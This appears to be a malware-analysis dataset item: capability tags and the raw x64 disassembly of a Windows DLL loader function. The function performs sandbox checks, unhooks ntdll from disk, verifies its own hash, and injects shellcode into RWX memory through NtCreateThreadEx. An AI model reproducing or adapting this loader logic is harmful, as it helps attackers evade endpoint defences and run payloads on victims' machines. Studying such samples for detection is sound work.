Function at 0x180001400
Capabilities:
Encode data using base64
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x3f8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x370], 0xfffffffffffffffe
mov qword [rbp + 0x290], 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSetServicesTcpipParameters____Endpoint_is_not_domain_joined._n
lea rcx, [rbp + 0x290]
mov r8d, 0x32
mov r9d, 0x20019
call fcn.1800043e0
test rax, rax
jne 0x1800014a7
mov qword [rbp + 0x2d0], rdx
lea r8, str.DomainSYSTEMCurrentControlSetControlSession_ManagerEnvironment___The_number_of_CPUs_is:__n
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x2d0]
mov r9d, 6
call fcn.1800044d0
mov rsi, qword [rbp + 0x10]
mov rbx, qword [rbp + 0x18]
mov rdi, qword [rbp + 0x20]
lea rcx, [rbp + 0x2d0]
call fcn.180009b30
mov rdx, rbx
movabs rax, 0x8000000000000000
cmp rsi, rax
jne 0x180001f56
mov qword [rbp + 0x2d0], 0
mov qword [rbp + 0x2d8], 1
mov qword [rbp + 0x2e0], 0
mov rcx, rdx
call fcn.180001030
lea rsi, [rbp + 0x290]
mov rcx, rsi
call fcn.180009b30
cmp qword [rbp + 0x2e0], 0
je 0x180002656
lea r12, [rbp + 0x2d0]
mov qword [rbp + 0x290], r12
lea rdi, [0x1800012d0]
mov qword [rbp + 0x298], rdi
lea rax, str.___Endpoint_is_domain_joined__domain_name:__._n
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 2
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 1
lea rcx, [rbp + 0x10]
call fcn.18000e0d0
mov rdx, qword [rbp + 0x2d0]
test rdx, rdx
je 0x180001557
mov rcx, qword [rbp + 0x2d8]
mov r8d, 1
call fcn.180005070
mov qword [rbp + 0x290], 0xffffffff80000002
lea rdx, [0x180027aa6]
lea rcx, [rbp + 0x290]
mov r8d, 0x40
mov r9d, 0x20019
call fcn.1800043e0
test rax, rax
jne 0x1800015d8
mov qword [rbp + 0x2d0], rdx
lea r8, str.NUMBER_OF_PROCESSORS
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x2d0]
mov r9d, 0x14
call fcn.1800044d0
mov rsi, qword [rbp + 0x10]
mov r14, qword [rbp + 0x18]
mov rbx, qword [rbp + 0x20]
lea rcx, [rbp + 0x2d0]
call fcn.180009b30
mov rdx, r14
movabs rax, 0x8000000000000000
cmp rsi, rax
jne 0x180001f70
mov qword [rbp + 0x2d0], 0
mov qword [rbp + 0x2d8], 1
mov qword [rbp + 0x2e0], 0
mov rcx, rdx
call fcn.180001030
lea rsi, [rbp + 0x290]
mov rcx, rsi
call fcn.180009b30
mov qword [rbp + 0x290], r12
mov qword [rbp + 0x298], rdi
lea rax, [0x180027b08]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 2
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 1
lea rcx, [rbp + 0x10]
call fcn.18000e0d0
mov rcx, qword [rbp + 0x2d8]
mov rdx, qword [rbp + 0x2e0]
call fcn.180023020
test al, 1
jne 0x180002695
shr rax, 0x20
cmp eax, 2
jle 0x1800026c5
movabs r13, 0x8000000000000000
mov rdx, qword [rbp + 0x2d0]
test rdx, rdx
je 0x18000169e
mov rcx, qword [rbp + 0x2d8]
mov r8d, 1
call fcn.180005070
lea rsi, [rbp + 0x10]
mov rcx, rsi
call fcn.18000d000
mov rax, qword [rbp + 0x10]
mov rbx, qword [rbp + 0x18]
cmp rax, r13
jne 0x1800016c1
test rbx, rbx
jne 0x18000173b
jmp 0x180001743
movdqu xmm0, xmmword [rbp + 0x20]
movdqu xmmword [rbp], xmm0
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rbx
mov dword [rbp + 0x10], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x18], xmm0
mov dword [rbp + 0x28], 7
mov qword [rbp + 0x2c], 0
mov word [rbp + 0x34], 0
mov byte [rbp + 0x30], 1
lea rcx, [rbp - 0x10]
call fcn.180015410
mov r8, rdx
lea rcx, [rbp + 0x10]
mov rdx, rax
call fcn.18000d1c0
mov rdi, rax
mov rbx, rdx
mov rdx, qword [rbp - 0x10]
test rdx, rdx
je 0x180001732
mov rcx, qword [rbp - 8]
mov r8d, 1
call fcn.180005070
test rdi, rdi
je 0x180001f8a
mov rcx, rbx
call fcn.180001030
call sub.kernel32.dll_GetConsoleWindow
mov rdi, rax
mov rcx, rax
xor edx, edx
call sub.user32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.user32.dll_SetWindowPos
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], 0
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x10], 0x70
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, [0x180027924]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_CreateProcessA
mov rsi, qword [rbp + 0x2d0]
call fcn.18000a730
mov qword [rbp + 0x200], rax
lea rcx, [rbp + 0x2d0]
lea rdx, [rbp + 0x200]
call fcn.18000a740
mov qword [rbp + 0x288], rsi
cmp dword [rbp + 0x2d0], 4
jne 0x1800026d4
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x350], rax
mov rdi, qword [rbp + 0x2e0]
mov r13, qword [rbp + 0x2e8]
shl r13, 4
add r13, rdi
lea r14, [rbp + 0x2d0]
lea r15, [rbp + 0x220]
lea rbx, [rbp + 0x290]
movabs rsi, 0x6c642e6c6c64746e
mov qword [rbp + 0x348], rdi
jmp 0x180001884
add rdi, 0x10
cmp rdi, r13
je 0x180001983
movdqu xmm0, xmmword [rdi]
movdqa xmmword [rbp + 0x220], xmm0
mov rcx, r14
mov rdx, r15
call fcn.18000aa20
cmp dword [rbp + 0x2d0], 4
jne 0x1800025e3
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x360], rax
mov rdx, qword [rbp + 0x2e0]
mov r8, qword [rbp + 0x2e8]
mov rcx, rbx
mov qword [rbp + 0x358], rdx
call fcn.18001e380
movzx eax, byte [0x180038111]
mov ecx, 9
mov edx, 1
call fcn.180005060
test rax, rax
je 0x180002631
mov qword [rax], rsi
mov byte [rax + 8], 0x6c
mov r12, qword [rbp + 0x298]
cmp qword [rbp + 0x2a0], 9
jne 0x18000192f
mov rcx, qword [r12]
xor rcx, qword [rax]
movzx edx, byte [r12 + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
je 0x1800019b9
mov edx, 9
mov r8d, 1
mov rcx, rax
call fcn.180005070
mov rdx, qword [rbp + 0x290]
test rdx, rdx
je 0x18000195c
mov r8d, 1
mov rcx, r12
call fcn.180005070
mov rdx, qword [rbp + 0x360]
test rdx, rdx
je 0x180001880
mov r8d, 1
mov rcx, qword [rbp + 0x358]
call fcn.180005070
jmp 0x180001880
mov rdx, qword [rbp + 0x350]
test rdx, rdx
je 0x1800019a5
shl rdx, 4
mov r8d, 8
mov rcx, qword [rbp + 0x348]
call fcn.180005070
lea rcx, [rbp + 0x200]
call fcn.18000ac10
xor r13d, r13d
jmp 0x180001a3c
mov edx, 9
mov r8d, 1
mov rcx, rax
call fcn.180005070
mov rdx, qword [rbp + 0x290]
test rdx, rdx
je 0x1800019e6
mov r8d, 1
mov rcx, r12
call fcn.180005070
mov rdx, qword [rbp + 0x360]
test rdx, rdx
mov rsi, qword [rbp + 0x350]
je 0x180001a0b
mov r8d, 1
mov rcx, qword [rbp + 0x358]
call fcn.180005070
mov r13, qword [rbp + 0x228]
test rsi, rsi
je 0x180001a30
shl rsi, 4
mov r8d, 8
mov rcx, qword [rbp + 0x348]
mov rdx, rsi
call fcn.180005070
lea rcx, [rbp + 0x200]
call fcn.18000ac10
lea rdx, str.C:WindowsSystem32_ntdll.dll0x
lea rcx, [rbp + 0x10]
mov r8d, 0x1d
call fcn.180009f70
cmp qword [rbp + 0x10], 0
je 0x180001a67
mov rcx, qword [rbp + 0x18]
call fcn.180001030
jmp 0x180001b39
lea rax, [rbp + 0x18]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x2d0], xmm0
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x2e0], rax
mov r14, qword [rbp + 0x2d0]
mov r15, qword [rbp + 0x2d8]
mov rcx, r14
mov rdx, r15
call fcn.18000a1f0
test al, 1
jne 0x180002829
mov rcx, r14
mov rdx, r15
call fcn.18000a1d0
add rax, 0xffffffffffffffd8
shl rdx, 3
lea rcx, [rdx + rdx*4]
movabs rdx, 0x747865742e
nop word cs:[rax + rax]
test rcx, rcx
je 0x180002645
lea r12, [rax + 0x28]
add rcx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rdx
mov rax, r12
jne 0x180001ad0
mov byte [rsp + 0x20], 1
lea rcx, [rbp + 0x290]
mov rdx, r14
mov r8, r15
mov r9, r12
call fcn.18000a180
cmp qword [rbp + 0x290], 0
je 0x18000285f
mov eax, dword [r12 + 8]
mov ecx, dword [r12 + 0xc]
add r13, rcx
mov qword [0x180038100], rax
mov qword [0x180038108], r13
lea rcx, [rbp + 0x2d0]
call fcn.18000a160
lea rax, [0x180038108]
mov qword [rbp + 0x290], rax
lea rax, [fcn.180023520]
mov qword [rbp + 0x298], rax
lea rax, [0x180027950]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 1
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], 1
lea rcx, [rbp + 0x2d0]
lea rdx, [rbp + 0x10]
call fcn.18001e1d0
mov rsi, qword [rbp + 0x2d0]
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x348], rax
mov rdi, qword [0x180038100]
test rdi, rdi
mov qword [rbp + 0x350], rsi
je 0x180001be4
mov rax, rdi
shr rax, 0x3d
jne 0x18000280d
lea rbx, [rdi*4]
mov edx, 4
mov rcx, rbx
call fcn.180005090
test rax, rax
je 0x180002817
mov r8, rax
jmp 0x180001bea
mov r8d, 4
mov rdx, qword [0x180038108]
mov qword [rsp + 0x20], 0
mov rcx, qword [rbp + 0x288]
mov qword [rbp + 0x358], r8
mov qword [rbp + 0x360], rdi
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
jne 0x180002726
mov rdx, qword [0x180038108]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, qword [rbp + 0x358]
mov r9, qword [rbp + 0x360]
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 1
jne 0x180002735
mov rdx, qword [rbp + 0x360]
test rdx, rdx
mov rsi, qword [rbp + 0x350]
mov rcx, qword [rbp + 0x358]
je 0x180001c7c
shl rdx, 2
mov r8d, 4
call fcn.180005070
test rsi, rsi
je 0x180001c96
mov r8d, 1
mov rcx, qword [rbp + 0x348]
mov rdx, rsi
call fcn.180005070
lea rdx, section..data
lea rcx, [rbp + 0x10]
mov r8d, 1
call fcn.1800032b0
mov rax, qword [rbp + 0x10]
movabs rdi, 0x8000000000000000
mov qword [rbp + 0x288], rax
cmp rax, rdi
je 0x180002744
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x360], rax
mov rsi, qword [rbp + 0x20]
lea rdx, [0x180038010]
lea rcx, [rbp + 0x10]
mov r8d, 1
call fcn.1800032b0
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x348], rax
cmp rax, rdi
je 0x18000277a
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x358], rax
mov rbx, qword [rbp + 0x20]
lea rdx, [0x180038020]
lea rcx, [rbp + 0x10]
mov r8d, 1
call fcn.1800032b0
mov rax, qword [rbp + 0x10]
cmp rax, rdi
je 0x1800027b7
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x350], rax
mov rdi, qword [rbp + 0x20]
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x2e0], xmm0
movdqa xmmword [rbp + 0x2d0], xmm0
cmp rbx, 0x20
jne 0x1800027f4
mov rax, qword [rbp + 0x358]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rbp + 0x2e0], xmm1
movdqa xmmword [rbp + 0x2d0], xmm0
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x2d0]
call fcn.1800050e0
mov qword [rsp + 0x28], rsi
mov rax, qword [rbp + 0x360]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x290]
lea rdx, [rbp + 0x10]
mov r8, qword [rbp + 0x350]
mov r9, rdi
call fcn.180005270
mov rdx, qword [rbp + 0x280]
test rdx, rdx
je 0x180001de2
mov r8d, 1
mov rcx, qword [rbp + 0x350]
call fcn.180005070
mov rdx, qword [rbp + 0x348]
test rdx, rdx
mov rsi, qword [rbp + 0x288]
je 0x180001e07
mov r8d, 1
mov rcx, qword [rbp + 0x358]
call fcn.180005070
test rsi, rsi
je 0x180001e21
mov r8d, 1
mov rcx, qword [rbp + 0x360]
mov rdx, rsi
call fcn.180005070
mov qword [rbp + 0x220], 0
mov rbx, qword [rbp + 0x2a0]
mov qword [rbp + 0x2d0], rbx
mov dword [rbp + 0x200], 0
mov qword [rbp + 0x10], rbx
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x220]
lea r9, [rbp + 0x10]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rbp + 0x220]
mov rdi, qword [rbp + 0x298]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rdi
mov r9, rbx
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x220]
lea r8, [rbp + 0x2d0]
mov rcx, 0xffffffffffffffff
mov r9d, 0x20
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov qword [rbp + 0x10], 0
mov rax, qword [rbp + 0x220]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rbp + 0x10]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rbp + 0x10]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
mov rdx, qword [rbp + 0x290]
test rdx, rdx
je 0x180001f41
mov r8d, 1
mov rcx, rdi
call fcn.180005070
nop
add rsp, 0x3f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], rdx
mov qword [rbp + 0x2e0], rdi
jmp 0x1800014d0
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], rdx
mov qword [rbp + 0x2e0], rbx
jmp 0x180001601
movzx eax, byte [0x180038111]
mov ecx, 0x2000
mov edx, 1
call fcn.180005060
test rax, rax
je 0x18000289c
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], 0x2000
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], 0
mov qword [rbp + 0x248], rbx
mov qword [rbp + 0x268], 0
mov qword [rbp + 0x270], 1
mov qword [rbp + 0x278], 0
lea rcx, [rbp + 0x220]
lea rdx, [rbp + 0x268]
call fcn.180004f20
test rax, rax
je 0x18000206c
mov rbx, rdx
mov rdx, qword [rbp + 0x268]
test rdx, rdx
je 0x180002033
mov rcx, qword [rbp + 0x270]
mov r8d, 1
call fcn.180005070
mov rdx, qword [rbp + 0x228]
test rdx, rdx
je 0x180002051
mov rcx, qword [rbp + 0x220]
mov r8d, 1
call fcn.180005070
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.kernel32.dll_CloseHandle]
test rbx, rbx
jne 0x18000173b
jmp 0x180001743
lea rbx, [rbp + 0x2f8]
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x328], xmm0
movdqu xmmword [rbp + 0x318], xmm0
movdqu xmmword [rbp + 0x308], xmm0
movdqu xmmword [rbp + 0x2f8], xmm0
mov byte [rbp + 0x338], 0
movaps xmm0, xmmword [0x1800273a0]
movups xmmword [rbp + 0x2e0], xmm0
movdqa xmm0, xmmword [0x1800273b0]
movdqu xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2f0], 0
mov r14, qword [rbp + 0x270]
mov rdi, qword [rbp + 0x278]
cmp rdi, 0x40
jb 0x18000214a
mov al, 1
test al, al
jne 0x18000211a
mov r15d, 0x40
mov r8d, 0x40
mov rcx, rbx
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
inc qword [rbp + 0x2f0]
lea rcx, [rbp + 0x2d0]
mov r8d, 1
mov rdx, rbx
call fcn.180006430
sub rdi, r15
add r14, r15
cmp rdi, 0x40
jb 0x18000213d
mov r8, rdi
shr r8, 6
add qword [rbp + 0x2f0], r8
lea rcx, [rbp + 0x2d0]
mov rdx, r14
call fcn.180006430
mov rax, rdi
and rax, 0xffffffffffffffc0
and edi, 0x3f
add r14, rax
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0x338], dil
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x70], rax
movzx eax, byte [rbp + 0x338]
mov byte [rbp + 0x78], al
mov eax, dword [rbp + 0x339]
mov dword [rbp + 0x79], eax
movzx eax, word [rbp + 0x33d]
mov word [rbp + 0x7d], ax
movzx eax, byte [rbp + 0x33f]
mov byte [rbp + 0x7f], al
movdqu xmm0, xmmword [rbp + 0x2d0]
movdqu xmm1, xmmword [rbp + 0x2e0]
movups xmm2, xmmword [rbp + 0x2f0]
movdqu xmm3, xmmword [rbp + 0x300]
movaps xmmword [rbp + 0x30], xmm2
movups xmm2, xmmword [rbp + 0x320]
movaps xmmword [rbp + 0x60], xmm2
movdqu xmm2, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x50], xmm2
movdqa xmmword [rbp + 0x40], xmm3
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmmword [rbp + 0x10], xmm0
movzx ebx, byte [rbp + 0x78]
mov rax, qword [rbp + 0x30]
shl rax, 9
mov edi, ebx
shl edi, 3
or rdi, rax
mov byte [rbp + rbx + 0x38], 0x80
mov r8, rbx
xor r8, 0x3f
je 0x180002212
lea rcx, [rbx + rbp]
add rcx, 0x39
test rcx, rcx
je 0x180002212
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x38]
bswap rdi
xor ebx, 0x38
cmp ebx, 8
jae 0x180002276
lea rcx, [rbp + 0x10]
mov r8d, 1
call fcn.180006430
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x2b0], xmm0
movdqa xmmword [rbp + 0x2a0], xmm0
movdqa xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2c0], 0
mov qword [rbp + 0x2c8], rdi
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x290]
mov r8d, 1
call fcn.180006430
jmp 0x180002289
mov qword [rbp + 0x70], rdi
lea rcx, [rbp + 0x10]
mov r8d, 1
call fcn.180006430
pxor xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x20]
movdqa xmm3, xmm1
punpckhbw xmm3, xmm0
pshuflw xmm3, xmm3, 0x1b
pshufhw xmm3, xmm3, 0x1b
punpcklbw xmm1, xmm0
pshuflw xmm1, xmm1, 0x1b
pshufhw xmm1, xmm1, 0x1b
packuswb xmm1, xmm3
movdqa xmm3, xmm2
punpckhbw xmm3, xmm0
pshuflw xmm3, xmm3, 0x1b
pshufhw xmm3, xmm3, 0x1b
punpcklbw xmm2, xmm0
pshuflw xmm0, xmm2, 0x1b
pshufhw xmm0, xmm0, 0x1b
packuswb xmm0, xmm3
movdqa xmmword [rbp + 0x200], xmm1
movdqa xmmword [rbp + 0x210], xmm0
lea r14, [rbp + 0x200]
mov qword [rbp - 0x20], r14
lea r15, [0x180004d30]
mov qword [rbp - 0x18], r15
lea rax, [0x180027b58]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 1
mov qword [rbp + 0x30], 0
lea rax, [rbp - 0x20]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 1
lea rdi, [rbp + 0x290]
lea rdx, [rbp + 0x10]
mov rcx, rdi
call fcn.18001e1d0
mov rax, qword [rbp + 0x290]
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x358], rax
mov rbx, qword [rbp + 0x2a0]
mov qword [rbp + 0x290], r14
mov qword [rbp + 0x298], r15
lea rax, str.___SHA_256_hash_of_the_running_file:
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 2
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 1
mov byte [rbp + 0x36f], 1
lea rcx, [rbp + 0x10]
call fcn.18000e0d0
mov byte [rbp + 0x36f], 1
lea rcx, [rbp + 0x290]
call fcn.18000d000
mov rax, qword [rbp + 0x290]
cmp rax, r13
jne 0x1800023ec
mov rcx, qword [rbp + 0x298]
mov byte [rbp + 0x36f], 1
call fcn.180001030
movabs r14, 0x8000000000000000
jmp 0x1800024c8
lea rcx, [rbp + 0x298]
mov rdx, qword [rcx + 0x10]
mov qword [rbp + 0x28], rdx
movdqu xmm0, xmmword [rcx]
movdqu xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.180015410
mov rcx, rax
call fcn.1800108c0
test rax, rax
je 0x180002481
mov r8, rdx
lea rcx, [rbp + 0x290]
mov rdx, rax
call fcn.180015420
mov r13, qword [rbp + 0x290]
mov rdi, qword [rbp + 0x298]
movabs rax, 0x8000000000000000
mov r15, qword [rbp + 0x2a0]
cmp r13, rax
jne 0x18000249d
test r15, r15
je 0x180002483
js 0x1800028b7
movzx eax, byte [0x180038111]
mov edx, 1
mov rcx, r15
call fcn.180005060
test rax, rax
je 0x1800028c1
mov r14, rax
jmp 0x180002489
jmp 0x18000249d
mov r14d, 1
mov rcx, r14
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov r13, r15
mov rdi, r14
mov rdx, qword [rbp + 0x10]
test rdx, rdx
je 0x1800024b5
mov rcx, qword [rbp + 0x18]
mov r8d, 1
call fcn.180005070
movabs r14, 0x8000000000000000
cmp r13, r14
jne 0x180002599
mov rdx, qword [rbp + 0x360]
cmp rdx, r14
je 0x1800028f6
test rdx, rdx
je 0x1800024ef
mov r8d, 1
mov rcx, qword [rbp + 0x358]
call fcn.180005070
lea rax, str.___The_name_of_the_file_is_NOT_the_hash_value_of_the_file_n
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 1
lea rax, [0x1800273c0]
mov qword [rbp + 0x20], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x258], r14
lea rcx, [rbp + 0x10]
call fcn.18000e0d0
lea rax, [r14*2]
test rax, rax
je 0x18000254b
mov r8d, 1
mov rcx, rdi
mov rdx, r14
call fcn.180005070
mov rdx, qword [rbp + 0x268]
test rdx, rdx
je 0x180002569
mov rcx, qword [rbp + 0x270]
mov r8d, 1
call fcn.180005070
mov rdx, qword [rbp + 0x228]
test rdx, rdx
je 0x180002587
mov rcx, qword [rbp + 0x220]
mov r8d, 1
call fcn.180005070
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x180001743
mov rdx, qword [rbp + 0x360]
cmp rdx, r14
jne 0x1800025ad
mov r14, r13
jmp 0x1800024ef
cmp r15, rbx
jne 0x1800025db
mov rcx, rdi
mov rdx, qword [rbp + 0x358]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1800028d0
mov r14, r13
mov rdx, qword [rbp + 0x360]
jmp 0x1800024d8
mov r14, r13
jmp 0x1800024d8
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x30], rax
movups xmm0, xmmword [rbp + 0x2d0]
movups xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
lea rax, [0x1800279d0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800273e0]
lea r9, fcn.180001100
lea r8, [rbp + 0x10]
mov edx, 0x2b
call fcn.180026420
jmp 0x18000294c
mov ecx, 1
mov edx, 9
call fcn.180025f60
jmp 0x18000294c
lea rcx, [0x180027988]
call fcn.180025fe0
jmp 0x18000294c
lea rax, [0x180027a40]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 1
lea rax, [0x1800273c0]
mov qword [rbp + 0x20], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x28], xmm0
lea rcx, [rbp + 0x10]
call fcn.18000e0d0
mov ecx, pe_nt_image_headers64
call fcn.180010950
jmp 0x18000294c
mov byte [rbp + 0x10], ah
lea rax, [0x180027b28]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800273e0]
lea r9, [0x180027450]
lea r8, [rbp + 0x10]
mov edx, 0x2b
call fcn.180026420
jmp 0x18000294c
mov ecx, pe_nt_image_headers64
call fcn.180010950
jmp 0x18000294c
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x30], rax
movdqu xmm0, xmmword [rbp + 0x2d0]
movdqu xmm1, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmmword [rbp + 0x10], xmm0
lea rax, [0x1800279b8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800273e0]
lea r9, fcn.180001100
lea r8, [rbp + 0x10]
mov edx, 0x2b
call fcn.180026420
jmp 0x18000294c
mov ecx, 1
call fcn.180010950
jmp 0x18000294c
mov ecx, 1
call fcn.180010950
jmp 0x18000294c
movups xmm0, xmmword [rbp + 0x18]
movaps xmmword [rbp + 0x2d0], xmm0
lea rax, [0x180027c48]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800273e0]
lea r9, [0x180027410]
lea r8, [rbp + 0x2d0]
mov edx, 0x2b
call fcn.180026420
movdqu xmm0, xmmword [rbp + 0x18]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rax, [0x180027c60]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800273e0]
lea r9, [0x180027410]
lea r8, [rbp + 0x2d0]
mov edx, 0x2b
call fcn.180026420
jmp 0x18000294c
movdqu xmm0, xmmword [rbp + 0x18]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rax, [0x180027c78]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800273e0]
lea r9, [0x180027410]
lea r8, [rbp + 0x2d0]
mov edx, 0x2b
call fcn.180026420
jmp 0x18000294c
lea r8, [0x180027c90]
mov ecx, 0x20
mov rdx, rbx
call fcn.1800264f0
jmp 0x18000294c
call fcn.18001e050
jmp 0x18000294c
mov ecx, 4
mov rdx, rbx
call fcn.180025f60
jmp 0x18000294c
mov byte [rbp + 0x290], ah
lea rax, [0x180027970]
mov qword [rsp + 0x20], rax
lea rcx, str.REASONsrclib.rsfy
lea r9, [0x1800273c0]
lea r8, [rbp + 0x290]
mov edx, 6
call fcn.180026420
jmp 0x18000294c
movzx eax, byte [rbp + 0x298]
mov byte [rbp + 0x220], al
lea rax, [0x1800279a0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800273e0]
lea r9, [0x1800273c0]
lea r8, [rbp + 0x220]
mov edx, 0x2b
call fcn.180026420
jmp 0x18000294c
mov qword [rbp + 0x360], rbx
mov ecx, 1
mov edx, 0x2000
call fcn.180025f60
jmp 0x18000294c
call fcn.18001e050
jmp 0x18000294c
mov ecx, 1
mov rdx, r15
call fcn.180025f60
jmp 0x18000294c
cmp qword [rbp + 0x360], 0
je 0x1800028f3
mov r8d, 1
mov rcx, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x360]
call fcn.180005070
mov r14, r13
lea rax, str.____The_name_of_the_file_is_the_hash_value_of_the_file_n
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 1
lea rax, [0x1800273c0]
mov qword [rbp + 0x20], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x258], r14
lea rcx, [rbp + 0x10]
call fcn.18000e0d0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x258], r14
mov ecx, pe_nt_image_headers64
call fcn.180010950
ud2